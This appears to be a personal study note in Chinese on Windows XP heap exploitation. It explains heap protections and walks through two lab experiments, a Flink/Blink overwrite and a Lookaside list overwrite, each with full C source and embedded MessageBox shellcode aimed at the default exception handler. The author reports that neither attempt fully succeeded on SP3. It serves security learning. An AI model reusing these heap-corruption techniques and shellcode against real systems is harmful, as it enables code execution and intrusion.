堆保护方式:
1. PEB random:dword shoot写内存,覆盖PEB指针,加入随机化了就不行了
2. Safe Unlink:验证当前堆块的下一个堆块的前向指针和前一个堆块的后向指针是否指向当前堆块
3. heap cookie:跟栈的GS类似,cookie放在segment table处,占一个字节
4. 元数据加密:块首一些重要元素与一个4字节的随机数进行异或运算,使用时再异或回来,我们就不能直接破坏或改写这些数据了
利用chunk重设大小攻击堆
当一时看不懂的时候,直接一步步实验,一步步思考,总会有收获的,即使不一定一下子就懂了,慢慢地,不断接触到了就越来越懂了
学习了解堆的代码
#include <stdio.h> #include <windows.h> void main() { HLOCAL h1; HANDLE hp; hp = HeapCreate(0,0x1000,0x10000); __asm int 3 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); }
可以看到堆的起始地址是0x003A0000
freelist[0]
唯一的chunk
接下来我们看看分配了一点后剩余的新chunk会怎么插入到链表中(汇编代码)
基址是7C920000,+11513那么直接到7C931513
但那里的代码不对啊
那就直接找命令吧
终于被机智地找到了,0x7C931003
那么如果我们将旧的chunk的Flink和Blink覆盖了,就可能出现任意地址写固定值的漏洞了
代码(实际实验中我已将39改为我机器里面的3A了)
#include <stdio.h> #include <windows.h> void main() { char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x10\x01\x10\x00\x99\x99\x99\x99" "\xEB\x06\x39\x00\xEB\x06\x39\x00" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xEB\x31\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x39\x00\xE4\xFF\x12\x00" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; HLOCAL h1,h2; HANDLE hp; hp = HeapCreate(0,0x1000,0x10000); __asm int 3 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); memcpy(h1,shellcode,300); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); int zero=0; zero=1/zero; printf("%d",zero); }
运行调试后在memcpy处下断点
可以看到32字节的字符串就可以覆盖Flink和Blink了
我们覆盖为什么好,0x003906EB,因为0xEB06是短跳转,可能调试的时候就明白了
而我们要修改的目标是异常处理
默认异常处理句柄的位置0x0012FFE4
可以看到
[003A06B8]=003A06EB
[003A06B8+4]=0012FFE4
[0012FFE4]=003A06B8
[003A06EB+4]=003A06B8
有点乱,不过看一下结果对不对吧
可以看到和预期一致
但是最终不会到最终的异常处理程序处执行,难道是有防御(safeSEH什么的)?
但是流程大概知道了
利用Lookaside表进行堆溢出
Lookaside表就是说得快表,他是单链表,Safe Unlin不会双向验证
代码:
#include <stdio.h> #include <windows.h> void main() { char shellcode []= "\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充 "\x03\00\x03\x00\x5C\x01\x08\x99"//填充 "\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; HLOCAL h1,h2,h3; HANDLE hp; hp = HeapCreate(0,0,0); __asm int 3 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); HeapFree(hp,0,h3); HeapFree(hp,0,h2); memcpy(h1,shellcode,300); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); memcpy(h3,"\x90\x1E\x3A\x00",4); int zero=0; zero=1/zero; printf("%d",zero); }
首先复习一下快表的知识,快表在688偏移处,向下3行就是
第一个框就是Lookside[0],第二个就是Lookside[1],以此类推
可以看到都是空的
看看普通的堆块,首先找到位置
看到了,空的
因为快表都是空的,我们要先申请再释放,就优先释放到快表里面
可以看到确实是,单向链表,而且将第6个字节设置为1防止堆块合并
因为h1和下面的快表连着,我们就可以覆盖那个指针了
下一步就是复制shellcode到h1
可以看到指针被覆盖了,那个是异常处理程序储存的地方
那么下次申请的时候就会将这个地址写在Lookside[2]的首地址处了
看看是不是呢,如下图,确实是的
那么h3申请的时候就申请到栈上的地址去了
可以看到都置0了
我们再将地址复制到h3就行了
memcpy(h3,"\x90\x1E\x3A\x00",4);
行啦
首先触发触发除0错误
会不会出现问题呢
还是不会跳到那里去执行
应该是我xp3的问题,估计换xp2可以
不过懂原理了